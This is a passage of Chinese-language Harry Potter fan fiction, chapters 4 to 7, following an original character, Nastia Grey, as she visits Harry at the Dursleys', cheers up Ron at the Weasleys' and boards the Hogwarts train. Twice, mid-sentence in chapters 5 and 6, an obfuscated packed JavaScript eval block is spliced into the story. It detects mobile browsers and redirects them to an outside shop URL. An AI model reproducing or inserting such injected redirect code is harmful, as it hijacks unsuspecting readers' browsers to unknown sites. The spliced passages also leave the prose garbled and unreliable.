大家似乎都默认“书店不是第一站,那就只能是最后一站”的原则。 路过飞天扫帚店的时候,橱窗摆着最新款的“光轮2000”,娜斯缇亚嫌弃地看着那些橱窗前狂热的小脑袋:“一年级不能带飞天扫帚真是学校做的最明智的决定,我简直不敢想象,那些毛毛躁躁的家伙横冲直撞起来会是一副什么惨状。” “我还以为你会喜欢呢,”赫敏说,“你不是对球类运动挺感兴趣的吗?” “哦,不,”娜斯缇亚说,“伊莱莎读书的时候是拉文克劳院队的守门员,她在第一场比赛就被撞下了飞天扫帚,脖子差点摔断,手臂和大腿都骨折了。可怕的是,她对魁地奇依然十分狂热。自打听说这件事起,我就知道这项运动不适合我。” “哦,我怎么感觉我听说过这件事?”珍妮弗差点跳了起来,“伊莱莎又骗我!她和我说是玩橄榄球的时候受的伤。” 娜斯缇亚莫名心虚,移开了视线。 * 从对角巷离开的时候,两个女孩手里都握着一支两个球的甜筒。 娜斯缇亚坚持要请客,说是上次说好的赔礼。 很难想象一个人会对魔法史这么感兴趣。赫敏买了好几本书,试图从全方位补上前12年没见过的巫师界历史。 娜斯缇亚也额外买了一本《魔法!让生活变简单》。 掌握一些不那么难又好用的咒语是很有必要的——当然,为了更好的偷懒。 “比如,防水防湿咒可以让你再也不用带雨伞;召唤咒可以让你躺在床上,一步也不用挪动就拿到零食。” 赫敏对此嗤之以鼻,但是表示会陪她一起练习。 5. 第 5 章 八月份下半旬,伊丽莎白·格雷女士似乎终于想起自己的女儿马上要开学这件事,在某个夜晚风尘仆仆地出现在格兰杰家门口,把娜斯缇亚领回了家。 娜斯缇亚并没有表现出这份惊喜该有的激动。赫敏说好了今晚要给她讲完黑魔法的起源,她们还要一起研究变形术呢。 “我给你也带了一块飞毯,你看——”伊丽莎白坐在一块悬浮的毯子上,展示着自己从印度带回来的伴手礼。 “它有什么用?”娜斯缇亚忙着发短信,心不在焉。 “你看,它可以放大缩小。如果在家里想偷懒,可以用它帮忙接东西。”伊丽莎白灵活地演示了一遍,“而且它比扫帚舒适,更方便携带。我已经去魔法部报备过了,给它装上了隐形装置。” “只是有一点,”伊丽莎白说,“飞行的时候,它没有扫帚那么容易控制。” 娜斯缇亚立刻露出一个敬谢不敏的表情:“我看我还是算了。” “而且,我已经在学召唤咒了。”她略显嘚瑟地说。 美丽优雅的格雷女士差点从飞毯上掉下来。 “甜心,你真是太有我当年的风范了。简直不敢相信——对了,快给我看看你的魔杖。” 从娜斯缇亚开始研究天文和星座的那天起,她就清楚地知道,群星落在双子座的伊丽莎白有着超出常人的跳跃性思维。 她习以为常,掏出匣子里的魔杖:“山毛榉,龙心弦。” “真不敢相信你和赫敏居然这么有缘分,生日是同一天就算了,连杖芯都来自一对火龙。” 伊丽莎白端详着那根魔杖,看了好一会:“山毛榉的确很适合你。我早知道奥利凡德先生是独具慧眼的。” “这让我想起当年,我决定回埃及工作的时候,”伊丽莎白忽然露出一个十分感慨的表情,“那时我咨询了好多朋友的意见,她们几乎都让我再等一等,等你再长大一点,或者干脆等到你11岁,能去霍格沃茨的年纪。” “结果你不知从哪听说了这件事,居然主动提出让我去工作,还写保证书,说能照顾好自己。” “你打电话的时候,我听见的。”娜斯缇亚没想到她会提起那封信,有些尴尬,“我不是确实能把自己照顾好吗?” “可我当时真的不确定你到底是怎么想的,你平静的有点吓人,你知道吗?为着这个,我连夜跑去莫丽家,问她这是怎么回事。” 娜斯缇亚显然被她的真情流露吓得大吃一惊:“伊莱莎,你认真的?” “我为什么要骗你?”伊丽莎白满不在乎地说。 “但是莫丽告诉我,这很正常。她们家有7个孩子,什么样的都有。作为母亲,我们只要找一个适合彼此的相处方式,让你们自由地成长就够了。”伊丽莎白想了想,补充道,“这几年我们的相处似乎比之前自然多了,你觉得呢?” 娜斯缇亚先想到了弗雷德和乔治——他们的确成长得很“自由”。 “我认为莫丽阿姨是一名有见地的教育家。”她有些别扭地转开脸,“不过,是的。” “噢,说到这个,我明天打算去韦斯莱家一趟,你要不要一起?” “不——” “你还在生罗恩的气?”伊丽莎白笑了起来,“听说你连输10局巫师棋——” 娜斯缇亚猛地捂住耳朵:“我是不会原谅罗纳德的!” 她想不通,这家伙到底是什么时候修炼成功的?以前他们也经常一起下巫师棋,可她从来没有输得这么惨过。 明明爷爷的棋也是很听她的话、很喜欢她的! “但是莫丽说,如果你要去,她会做你最爱的肉桂苹果派。” 娜斯缇亚顿了顿,清了清嗓子:“别这样。好吧,如果你要去韦斯莱家吃饭,我很乐意陪你一起。” “那么,明天我先去费格太太家一趟,你在午饭前回家来,我们用飞路粉去。” “费格太太?”娜斯缇亚沉默了一会,问,“我能一起去吗?” “你还想见哈利·波特?我不知道原来你也是他的粉丝。”伊丽莎白十分意外。 “什么?不!我只是想看看他还在不在德思礼家,最近过得怎么样。” “噢,亲爱的,哈利·波特可不是什么路边的小猫小狗,和他做朋友,你得承受很多的压力——你知道的,他是个名人。”伊丽莎白托着下巴,认真地看着她。 “梅林啊你到底在说什么?”娜斯缇亚瞪大了眼睛。 “好吧。”伊丽莎白耸耸肩,“我想我不应该干涉你的交友。你可以跟我去,但是如果没遇上他,千万不要去敲德思礼的家门,好吗?你肯定不想给他惹麻烦的。” 娜斯缇亚再次发出一声微弱的抗议:“我们并不熟……我只是想看看!” 伊丽莎白忽然笑了笑:“娜缇,你应该知道自己挺讨人喜欢的。只要你想,大家都愿意和你做朋友。这点和你爸爸一模一样。” 娜斯缇亚被这种直白的夸奖噎得有点说不出话。她像一阵小旋风,奔回自己的房间。 * 次日,小惠金区。 费格太太高兴地和母女俩打了个招呼,然后看着娜斯缇亚,说:“哦,娜缇,好久不见。哈利今天不在,不过我想最近德思礼一家收敛了不少,也许你可以上门去看看他。” 娜斯缇亚感到一些尴尬。 好像全世界都默认她的目的是来找哈利·波特交朋友。 “我应该怎么说?” “随你怎么说,只要不暴露自己是个巫师——我想。”费格太太说。 娜斯缇亚点点头,在费格太太和伊丽莎白微笑的注视中跑走了。 她今天也提着一个巧克力蛋糕。 哈利似乎还挺喜欢的。 * 德思礼家的草坪和灌木丛都修剪得很齐整。 ‘有些过于齐整了。’娜斯缇亚站在门口,忍不住吹毛求疵。 她敲了敲这栋小洋房的门。 门很快开了,哈利站在她面前。穿着上次那件衬衫。 “嘿,你是……” 说实话,娜斯缇亚看不出他这是什么表情,惊讶?大部分应该是。 “娜斯缇亚·格雷,如果你还记得的话。”她飞快地又做了一次自我介绍。 “我当然记得。你想进来坐坐?”哈利扶了扶眼镜,犹豫着问,“不过……” 当然不,她已经看到厨房里有个身影。 “我想还是算了。”娜斯缇亚把蛋糕递给哈利,转身就要走。 看样子,他的生活还挺平静的。 哈利却关上了门,跟着走出来:“你这就要走吗?” “我以为你在忙。”娜斯缇亚小声说,“里面的那位夫人的目光可不怎么友善。” “那就是佩妮姨妈。”哈利有些嘲讽地笑了笑,“自从他们知道我是……对我的态度好多了。不过,我觉得应该是海格的功劳。你也是霍格沃茨的学生,对吗?我现在知道那是什么地方了。海格是霍格沃茨的猎场看守。他虽然看起来比较不修边幅,但是人很好。” “是的,我听说过他的名字。伊莱莎——也就是我妈妈,是他的朋友。伊莱莎猜测他有巨人血统,我想他的长相和身材对麻瓜来说应该足够有震慑力。不过,看来你已经知道自己的身世了,上次我去破釜酒吧,到处都有人谈论你的名字。” 哈利笑了笑,似乎长舒了一口气。但他看起来还是有些局促:“我没想过……” 娜斯缇亚立刻明白他在担忧什么。 “放轻松,哈利。没有人会无聊到对每天能见到的人一直保持强烈好奇心的。” “谢谢你……你今天还是来拜访费格太太吗?” “不,我想来看看你。” “看我?”哈利的脸忽然变得很红。 “哦,别误会……我不是那种狂热的粉丝……呃,也不能这么说,我没有看低你的意思……我是想来确认一下,你是不是已经知道了所有事情,老实说,我上次差点误会你不会魔法。” “魔法?我不确定……” 娜斯缇亚打断他:“别告诉我你小时候没有莫名其妙飞到树上,或是让什么东西变色之类的。这就是巫师有魔力的象征。有个我认识的巫师家庭,因为孩子迟迟没有动静,他的家里人总想给他制造点‘意外’——你知道的,危机总能爆发潜能。” 哈利笑了起来。 “是的,我有过。不过不是树上。” 娜斯缇亚注意到他一直在扶眼镜。 她拦住哈利的手:“上次我就想这么干了,可是不行,未成年人不能随便施魔法,会有踪丝追踪到我们附近。我假设你知道,只要我施了魔法,就会被魔法部找上门来。伊莱莎说,这附近住的全都是麻瓜。” “什么?”他似乎听懂了,但又不确定对方要做什么。 “跟我来,我们去费格太太家。” “不……” 他的抗议声在娜斯缇亚抓住他向前跑之后,被风吞没。 他们很快站在费格太太家的屋子后方。 娜斯缇亚注意到费格太太家的其中一只猫咪正蹲在草坪上看着他们。 “嘿,是踢踢。” 她把猫咪招过来,不停地揉着它柔软的肚皮——费格太太家的猫从不对她设防。 但是哈利的眼珠好像要掉下来了。 “你怎么让它们这么听话的?”他问。 老实说,他真不太喜欢费格太太家的这一堆猫。甚至费格太太本人,在摔断腿后,也不爱抓着他看那些猫的照片了。 “也许因为我是猫女巫……”娜斯缇亚下意识开了个玩笑,反应过来后又连忙道歉,“哦,抱歉,这是我一个朋友给我起的绰号。” 哈利眼里忽然闪过一道奇异的光芒:“猫女巫?你听得懂猫咪说话吗?” “什么?”娜斯缇亚被他逗笑了,“当然不。只是因为他们家里养的一只老鼠特别怕我。不过,我的确听说过,某些巫师有和动物对话的能力。” “所有动物?”哈利问。 这个问题似乎把娜斯缇亚难倒了。 但她仔细想了想,还是否定了这个可能性:“不然他们要怎么入睡呢?这个世界毕竟有这么多种类的生物。” “这么说来,这件事在巫师界很正常?” “不常见,但的确不算什么怪事。”娜斯缇亚说,“举个例子吧,斯莱特林精通蛇语,一些和他有血缘关系的巫师家族因此也具有这种能力。不过……算了,没什么。” 不过,大多数巫师都相信精通蛇语是黑巫师的象征之一。 娜斯缇亚认为这简直毫无道理:如果与蛇为伍就是黑巫师的象征,那埃及巫师个个都该是坏人了。 蛇的形象在埃及出产的古物中是十分普遍且常见的。那里的制杖者至今依然习惯把魔杖做成蛇形,坚信这样能获得神的力量,帮助巫师们在危险到来前避开致命的一击。 娜斯缇亚喜欢古埃及人对魔法的定义:他们认为魔法是完全神圣的东西,因此,在埃及巫师的眼里,没有黑魔法的说法,巫师们可以为自身利益使用任何魔法。 当然,他们对滥用魔法攻击无辜者的巫师的惩罚是非常严厉的。 “斯莱特林?”哈利刚喘口气,就被这句话呛得直咳嗽。 “怎么了?”娜斯缇亚回过神来,眨眨眼,似乎想到了什么,“哦……” 她没能把话说完。因为哈利刚停止咳嗽,就继续问她:“不过,我们来这做什么?你似乎没打算进去。” “哦,差点忘了。”娜斯缇亚从随身带着的棕色包包里掏出魔杖,“把眼镜给我——Reparo。” 她得意地看着那些缠在眼镜上的透明胶带脱落,迅速把魔杖收起来:“我上次就想这么做了。” 哈利眼里闪着羡慕的亮光:“嘿,你得教我这招,我的眼镜总是被我表哥达力弄坏。” “当然。不过你不能当着他的面这么做,我们得在成年巫师附近施法,这样魔法部会以为是他们干的——他经常欺负你吗?” 哈利草草地点了点头。 “但最近他嚣张不起来了……”他示意娜斯缇亚凑近,“海格送了他一条猪尾巴——真正的。” 娜斯缇亚捂着嘴,笑得全身都在抖。 事实上,她很想大笑出声。 “做的好!我想你以后可以常常用这个威胁他们,对付欺负你的人不应该心慈手软。”娜斯缇亚问,“你买了魔杖吗?” “海格让我不要告诉别人,因为他不能随便施法。我想,你会保密的对吗?”哈利点点头,用那双绿色的眼睛注视着她。 她不加思索地点点头:“我很擅长保密。”似乎怕他不相信,娜斯缇亚又补上一句,“真的。” “我相信你。”哈利笑了笑,“你刚刚说魔杖,你是什么时候拥有自己的魔杖的?”他眼里闪着好奇和羡慕的光。 “就是最近呀。”娜斯缇亚说,“它是一根山毛榉、龙心弦的魔杖。很漂亮吧?你的呢?” “嗯,我想应该是一根冬青木、凤凰羽毛的魔杖。” “哇,”娜斯缇亚惊讶极了,“哈利,我假设你知道,奥利凡德先生用三种材质做杖芯:独角兽毛、龙心弦,还有凤凰羽毛。其中凤凰羽毛是最稀有的、最挑剔的。” “老实说,我当时还暗暗期待过自己会被凤凰羽毛的魔杖选中呢。”她说,“不过龙心弦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437134|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不赖。” “那位先生告诉我,”哈利的神色却有些阴郁,“我的杖芯,和伏……神秘人的杖芯,出自同一只凤凰。” 娜斯缇亚倒抽了一口凉气。 * 提起这个“神秘人”话题,他们忽然陷入了一阵诡异的沉默。 直到哈利说:“我认为我们应该找个地方把蛋糕吃完?我不能提着它回家——事实上,达力就是因为吃了海格带给我的生日蛋糕才被变成这样。” “梅林,这家人简直是灾难。不过你已经过完生日了吗?生日快乐!” “谢谢。”哈利笑了笑。 “那么,你带我去找个地方吧。我对这一片可不太熟。” 哈利带着娜斯缇亚走到一处小公园。 他们坐在秋千上,分享着那块巧克力蛋糕。 “和上次是同一家。”哈利尝了一口,说。 娜斯缇亚点点头。 看起来哈利的确蛮喜欢这家店的蛋糕。 “希望霍格沃茨也有很多的巧克力蛋糕。”娜斯缇亚看着他,由衷地说。 “对了。你有想过自己会分到什么学院吗?我不确定海格是否和你介绍过学校的情况……”见他点点头,娜斯缇亚放心地继续说道,“伊莱莎说赫奇帕奇离厨房很近……” “我听海格说过这个学院,我感觉自己很可能分到那。”哈利怏怏不乐地说。 “怎么?你不喜欢赫奇帕奇吗?”娜斯缇亚饶有兴致地问,“他们的院长是草药课的教授。我真羡慕她。我自己家里有一个温室,里面种了一点熬制魔药常用的原料,但我也想养养那些更危险、更有挑战性的植物。” “哦,那倒不是。事实上我什么都还不大了解。不过,我想我不怎么喜欢斯莱特林。” “我大概可以理解……”毕竟伏地魔就是那里出来的。 “但我倒不讨厌它。”娜斯缇亚继续说,“虽然它的名声不大好,但学校没有把它关闭,就说明它也有自己的长处,对吗?更重要的是,斯莱特林的院长是魔药课的教授!” 哈利看着她明显突然兴奋起来的表情,有些犹豫地说:“可海格告诉我,没有一个后来变坏的巫师不是从斯莱特林出来的。” “哦,”听着这句熟悉的话,娜斯缇亚忍不住笑了,“我的朋友也这么说过——当然啦,他们一家都是格兰芬多。伊莱莎告诉我,格兰芬多和斯莱特林天生就不对付,从她读书那会就这样。” “为什么?” “我应该给你讲讲四位创始人的故事。海格有告诉你吗?斯莱特林、格兰芬多、拉文克劳和赫奇帕奇。”娜斯缇亚神神秘秘地开口,“学院的名称就是他们的名字,其中,格兰芬多和斯莱特林是一对好朋友,但之后因为某些原因闹掰了。所以,之后的学生们才……” 哈利的表情看起来更怪了:“你的意思是,是这些创始人影响了后来到学院念书的学生?那如果我们分别去了这两个学院,难道也要反目成仇?” “不不,别紧张,我开玩笑的。”娜斯缇亚笑得肚子痛。 “嘿——” “好啦,”娜斯缇亚赶紧补救道,“依我看,也许他们之间存在某种冲突般的共性,这种共性让他们天生就水火不容。” 她想了想,补充道:“对啦,就像水和火。湮灭一切,或者燃烧一切,都带着某种毁灭性,不是吗?” “听起来更糟糕了。”哈利诚实地说。 “但你得承认这两者之间还是有共存的可能性。毕竟构成整体的每个个体不会全都一模一样。不是吗?哈利?” 哈利没说对,也没说不对,而是问:“你知道的真多。你父母都是巫师吗?” “是的,不过我爸爸也在那次战争中牺牲了。” 哈利用一种同病相怜的目光看着她,其间似乎还夹杂了一丝羡慕。 娜斯缇亚觉得自己不应该再继续这个话题。 “海格有没有告诉你怎么分院的?我研究过了,认为这可能和遗传有些关系,我认识一个巫师家庭,他们全家都是格兰芬多!如果这样的话,那你也很可能去那里。” 毕竟哈利的父母都是格兰芬多。 “你呢?”哈利有些急切地问。 他看起来还是比较怕她去斯莱特林。 “我父母是拉文克劳的学生,也许我会去拉文克劳……不过,我最好的朋友喜欢格兰芬多,我想和她分到一起。格兰芬多的院长很擅长变形术,我想那一定很有趣。想想看,以后你就能亲手把你的表哥变成猪了。” 哈利应该沉浸式地想象了那个场景。他半晌没说话。 “那,我们都去格兰芬多?”他问。 “那最好不过了。”娜斯缇亚笑道。 罗纳德肯定也会在格兰芬多。 沉默几秒,哈利再次问道:“对了,你有自己的飞天扫帚吗?” “哦,你知道这个。不过我没有,我用伊莱莎的旧扫帚。你对魁地奇感兴趣吗?” “我……我没见过。”他很诚实地摇摇头。 娜斯缇亚却忽然一拍手掌,说:“我突然想起来一件事——你爸爸就是格兰芬多魁地奇队的。” 哈利的表情变得有些激动:“我爸爸……我是说,你知道很多我爸爸的事吗?” “抱歉,我只知道一点……不过开学以后你就可以玩扫帚了,我们有飞行课。” 很少有她扯不开的话题。 不过看哈利的表情,这次好像失败了。 娜斯缇亚开始努力地在脑海中搜刮有关詹姆·波特的事迹,不过显然,她只记得这一件—— “虽然这件事是伊莱莎的黑历史,不过我想她现在不在,告诉你也没什么。”她仿佛做了什么重大的决定,对哈利郑重地说,“伊莱莎曾经是拉文克劳的守门员。她唯一一次在比赛中受伤,就是为了防住你爸爸打过去的球。当然,她不是被你爸爸撞下去的。她为了拦住格兰芬多进分,没能躲开游走球,被撞下了扫帚。” 她甚至贴心地给哈利简单介绍了魁地奇比赛的规则。 哈利张大了嘴巴。 他看起来完全忘记了伤心,脸上更多的是尴尬和无措。 “这项运动似乎很危险。”隔了好久,他才干巴巴地憋出这句。 娜斯缇亚大笑出声:“是的,伊莱莎在她的麻瓜朋友面前把这项运动说成橄榄球。要知道魁地奇比橄榄球疯狂多了!” 他们又在秋千那坐了一会,直到娜斯缇亚看了看表,想起伊丽莎白的叮嘱。 “我也许得走了。” “好吧。”哈利看起来有些失望,“那我们,学校见?” “开学见!”娜斯缇亚立刻点点头。 6. 第 6 章 当娜斯缇亚提着一袋冰淇淋从韦斯莱家的壁炉爬出来的时候,沙发上的金妮爆发出了一声尖叫。 “娜缇!”金妮冲过来给了她一个大大的拥抱,险些把她撞回壁炉。 莫丽也从厨房探出身:“亲爱的,假期过得还好吗?——噢,伊莱莎,你瘦了好多。” 娜斯缇亚也笑着给了对方一个大大的拥抱。 她将冒着寒气的袋子塞进莫丽的手里,下意识看了看墙壁上的钟表。 属于娜斯缇亚的那根指针从一块小角落“Grey”指向了“Home”。这是她第二次来韦斯莱家里过暑假的时候,莫丽加上去的。 不过…… ‘太好了,亚瑟叔叔不在家。’她想。 亚瑟·韦斯莱热衷于向她提问一些关于麻瓜世界的问题:交通、娱乐、日常生活……有他在,她几乎别想和其他韦斯莱说上一句话。 她总有一天会把赫敏介绍给他认识。 “孩子们,你们先去玩吧,冰淇淋留到下午吃,好吗?” 娜斯缇亚点点头,立刻被金妮拉上楼。 她们和急匆匆下来的双胞胎撞了个正着。 上周,弗雷德和乔治一连给她发来三封信,累得埃罗尔差点从窗台掉下去。 他们不仅拿“金妮想你了”当借口、用埃罗尔的生命作威胁,还声称这次一定让她在巫师棋界一雪前耻。 说实在的,娜斯缇亚压根不信。 但乔治在信尾偷偷加上的那句“小罗尼最近因为魔杖和妈妈吵架了,你要是想赢,这是个机会”还是引起了她的主意。 乔治期望她去安慰罗纳德。她完全看出来了。 于是…… 三个韦斯莱形成了一个三角,将她拦在中央,表情十分严肃(当然,金妮并没有这个意思)。 “为什么不来找我们玩?”先开口的是弗雷德。 乔治立刻接腔:“你又住在格兰杰家里?” “是又怎么样?”娜斯缇亚抱着手臂问。 “太过分了。” “太伤心了。” “金妮盼了你整整两个月。” “你就只寄来了4封信。” 弗雷德和乔治仿佛彩排过般地一唱一和。 金妮微弱抗议道:“……6封。” 弗雷德立刻将谴责的目光移向她:“你是哪头的?” “我们现在是在批评娜缇的态度和行为。”乔治补充道。 两个男孩子继续一唱一和,但金妮只想直接拉着娜斯缇亚到房间,请她展开讲讲哈利·波特的事情。 很显然,弗雷德和乔治不想给她这个机会。 娜斯缇亚决定转移话题。 “你们在信里提到的新产品呢?” “没成功。”弗雷德耸了耸肩。 金妮捂着嘴笑了起来:“他们把珀西惹毛了。” “可怜的珀西。” “你该去和小罗尼打个招呼。”乔治朝她挤了挤眼睛,“他还在生气,谁也不理。” “说不定你去和他下一盘巫师棋,就能让他高兴点。”弗雷德补充道。 “嘿!” 娜斯缇亚瞪了他们一眼,但还是转身向莫丽要了一个冰淇淋。 “好吧,去看看罗纳德现在的惨状也不错。” 三个韦斯莱似乎都认定她可以把罗恩哄得回心转意。金妮特地嘱咐她不要聊太久,尤其不要和罗恩下巫师棋。 娜斯缇亚拿着一支甜筒,敲开了罗纳德·韦斯莱的房门。 “嘿!你怎么来了?”他看起来似乎不怎么高兴,正坐在床上摆弄他的那只老鼠。当然后者并不搭理他。 “如果我是你,一定不会让老鼠睡在自己的床上。” 斑斑似乎听到了她的声音,“噌”一下拱到罗恩的枕头下。 娜斯缇亚把甜筒贴到罗恩的脑门上,收获一声大叫。 “嗷——娜斯缇亚·格雷!你这个恶毒的猫女巫!” “猫女巫”是弗雷德给娜斯缇亚取的绰号,因为斑斑见到她总是跑。小时候,他和乔治为了看这只老鼠多“运动”一会,甚至指使娜斯缇亚追着它满屋子跑。 当然,年幼无知的她照做了。 想到这件事,娜斯缇亚仍然恨他俩恨得牙痒痒。 “乔治写信邀请我来和你下巫师棋,说这样能让你高兴点。” 罗恩拆开冰淇淋,冷哼了一声:“少来了,这一定不是他的原话。” “我听出了他的言外之意。” “省省吧。” 娜斯缇亚注意到罗恩的床底下躺着一根魔杖。很旧,各处都有斑驳的脱落,尾部有一点白色的闪光。 “这是查理的魔杖吗?” 罗恩烦闷地嘟囔一声:“显而易见。” “你觉得用起来怎么样?我爸爸的魔杖也是独角兽毛的,但它似乎不大乐意让我和赫敏碰。”娜斯缇亚兴致勃勃地问。 “什么叫不大乐意让你碰?”他看起来有一丝困惑。 “嗯……我从书上看到的,独角兽芯的魔杖总是对它的第一任主人忠诚,所以我用我爸爸的魔杖练□□是不大管用。”娜斯缇亚半真半假地解释。 “是吗?”罗恩有些狐疑地把旧魔杖捡起来,“可是前几天乔治教了我个咒语,我感觉它不是很管用。” 娜斯缇亚顿感毛骨悚然。 不管乔治教的是什么,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437135|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好还是别让他念出来比较好。 “我最近也学了几个,你要不要学学?我肯定比乔治靠谱。”她立刻说。 罗恩把魔杖握在手里,跃跃欲试地看着她。 “好吧,跟我念——Lumos。” 罗恩下意识照做。 “Lumos……这是干什么用的?” “照明。”她解释道。 “Lumos。”罗恩学着她的样子,又挥了挥魔杖。 一道光在他的魔杖顶端亮起。 “嗯……还不错。学咒语也不难,是吗?” “这还只是很初级的咒语呢!”娜斯缇亚翻了个白眼,“它的反咒是——别走神,跟我念!Nox。” “Nox。” “这根魔杖看起来还挺喜欢你的,”娜斯缇亚偷偷瞥了罗恩一眼,斟酌着语气,“这很难得。” 罗恩握着魔杖,低着头似乎在思考什么。 最后,他还是笑了笑。 “你一定买了新魔杖。对吗?毕竟你从10岁开始就一直闹着要一支。是什么样的?” “我没带来。是一支山毛榉的,龙心弦。”娜斯缇亚飞快地说,“你要不要下楼和我们一起玩一会?我今天带了一副飞行棋来。” 罗恩挑了挑眉:“你意识到巫师棋赢不了我,所以打算另辟蹊径,是吗?” “罗纳德,我给你一个机会重新组织语言。”娜斯缇亚叉着腰站起来,居高临下地瞪着他。 就在这时,弗雷德和乔治撞开了房门,一人一边,架着她和罗恩出去。 说实话,她很难不怀疑他们刚刚就在门口偷听。 弗雷德一直絮絮叨叨地说那副麻瓜棋竟然不会自己动,凭什么叫飞行棋。看样子很想对这副棋进行一番改造。 娜斯缇亚想了想,道:“我觉得你们可以借鉴一下噼啪爆炸牌,如果改造成功的话,我想我们可以在学校推出。也许会有不少人喜欢。” 弗雷德啧啧称奇:“有时候我怀疑你才是我们的亲妹妹。” 乔治也歪着脑袋看她:“你改名叫娜斯缇亚·韦斯莱怎么样?” 罗恩立刻翻了个巨大的白眼。 “你们怎么不改名叫弗雷德·格雷或者乔治·格雷?” 岂料弗雷德和乔治居然异口同声地回答道:“听起来不错!” 罗恩嫌恶地挣脱开亲哥的桎梏。 “你们真恶心。” “嘿——”娜斯缇亚抗议地挥了挥拳头。 这一天是在罗恩连续得了5局最后一名而崩溃大叫的哀嚎声结束的。 临走前,娜斯缇亚把飞行棋留给了韦斯莱双胞胎,期待他们在开学带来新产品。 7. 第 7 章 伊丽莎白在家里住了一段时间,除了和老朋友们见面,剩下的时间都在陪娜斯缇亚和赫敏学习。 不得不说,因为有她在,两个女孩的魔咒都进步飞速。 九月一日,终于到了开学的日子。 准备出发的这天早晨,伊丽莎白收到了一封信,尖叫着说要去一趟肯特郡。 “我会给你寄信的。”娜斯缇亚立刻说。 “好吧,在学校记得保护好自己。”伊丽莎白惋惜地看着女儿,吻了吻她的脸颊,“保持联系!” “我会的。”娜斯缇亚不知道她为什么总这么说,好像学校是什么龙潭虎穴。 娜斯缇亚到国王十字车站的时候已经将近十一点了——离发车还差15分钟。 但她并不十分着急。 两年前她陪韦斯莱一家来过,送弗雷德和乔治上学。 她完全知道自己应该怎么做。 不过,她在站台附近看到一个熟悉的身影。 瘦弱的黑头发男孩带着一个大箱子和一只猫头鹰,被人潮裹挟着往前走出几步,又从某个缺口挤出来。来往的乘客之间只有他是静止的,整个人看起来茫然又无助。 娜斯缇亚绕了个弯,推着行李冲过去,停在他背后。 “嘿,哈利。” 他似乎吓了一大跳,整个人都抖了一下。但看清是谁后,他重重地呼出一口气,眼里燃起希望之火:“遇到你真是太好了,娜缇。火车还有10分钟就发车了,你一定找得着路,对吗?” 娜斯缇亚远远地看见身后走来的几个红头发,决定逗逗他。 “太糟了,我不知道……”她装作苦恼,四下张望着。 “什么?” 他似乎从没想过这种情况,凌乱的头发瞬间炸开,四处寻找可以提供帮助的人。 娜斯缇亚觉得这玩笑开大了。 说不定哈利已经开始幻想自己回到德思礼家的悲惨生活了。 “嘿,看那家人,他们也带着猫头鹰……” 还没说完,她感觉眼前一片漆黑。 她听见哈利发出一声疑惑的问句:“你们是谁?” 娜斯缇亚将掌心贴在那个人的手背上,摸到中指关节上的一块小疤,立刻就分辨出了来人:“乔治,别这么幼稚。” 捂着眼睛的那双手立刻松开了。 “到底是谁幼稚?”弗雷德问,“乔吉,我们刚刚是不是听到有人在撒谎?” “是你吗,狡猾的猫女巫?”乔治揽住娜斯缇亚的肩膀,扭头笑眯眯地冲哈利招了招手,“嗨!你是娜缇的新朋友吗?” “我想我们应该快点走了!”娜斯缇亚说。 她不想在这浪费时间说废话。时间一过,他们就进不去站台了。 正在这时,不远处传来莫丽的一声怒喝。 “弗雷德!乔治!给我回来!” 弗雷德和乔治劈手夺过娜斯缇亚和哈利的行李,带着他们百米冲刺到9号和10号站台之间。 乔治第一时间给莫丽顺毛:“我们来了!妈妈。” “瞧瞧我们遇到了谁?”弗雷德把两个还喘着气的小鬼从行李箱后拽出来。 “娜缇!亲爱的,你怎么一个人在这?” 娜斯缇亚用一个“显而易见”的眼神回答了她:“伊莱莎去肯特郡了。” 说话间,她注意到一旁眼眶含泪的金妮。 “嘿!小可爱,高兴点。明年你就可以入学了。也许今年圣诞我应该送你几本参考书,你可以在家自己预习。”她趁着莫丽阿姨和双胞胎斗嘴的功夫,悄悄凑过去,“那个戴眼镜的男孩子就是哈利·波特。” 金妮立刻不想哭了,她激动得说不出话来。 娜斯缇亚比了个噤声的手势,跟到罗恩的后面。 两个女孩子是牵着手一起进去的,弗雷德和乔治帮忙把所有行李搬上了车。 莫丽仍然拉着娜斯缇亚在说话。 “娜缇,我知道你是个独立的孩子,但是一定别忘了给我们写信,好吗?如果在学校碰到了什么难题,记得找珀西。” “我会的——顺便,莫丽阿姨,今年我想要一件颜色不一样的毛衣。” 上次去韦斯莱家的时候,她已经看见莫丽准备起了圣诞节需要的毛线。颜色很多,她想偷偷提前给自己挑一个。 “当然,没问题!”莫丽笑眯眯地看着她,“你想要什么颜色?” “我想要圣诞树那样的颜色!” “那么,墨绿色怎么样?” “那我要和娜缇一样的。”金妮立刻高高举起手。 莫丽一口应下:“没问题,亲爱的。” “也请期待我的圣诞礼物。”娜斯缇亚看了看腕表,“也许我得上车了。” “我会想你的。”看着似乎又要哭的金妮,她立刻保证道,“嘿!我还是会给你写信的,像原来那样。” 金妮擦了擦眼睛,摇了摇头。 “好吧。一周一封?”娜斯缇亚确认道。 反正她们总有话说。 她飞快地给莫丽和金妮一人一个吻,跑上车,差点撞到准备去和母亲告别的弗雷德和乔治。 还有罗恩。 “太好了,你上车了,帮我占个座!”他匆匆说完就跑了。 火车即将发动,附近的包厢都满了,娜斯缇亚被挤向车尾,在那里发现了孤零零的哈利。 他正盯着窗外瞧,神情有些落寞。 “我能坐在这吗?” 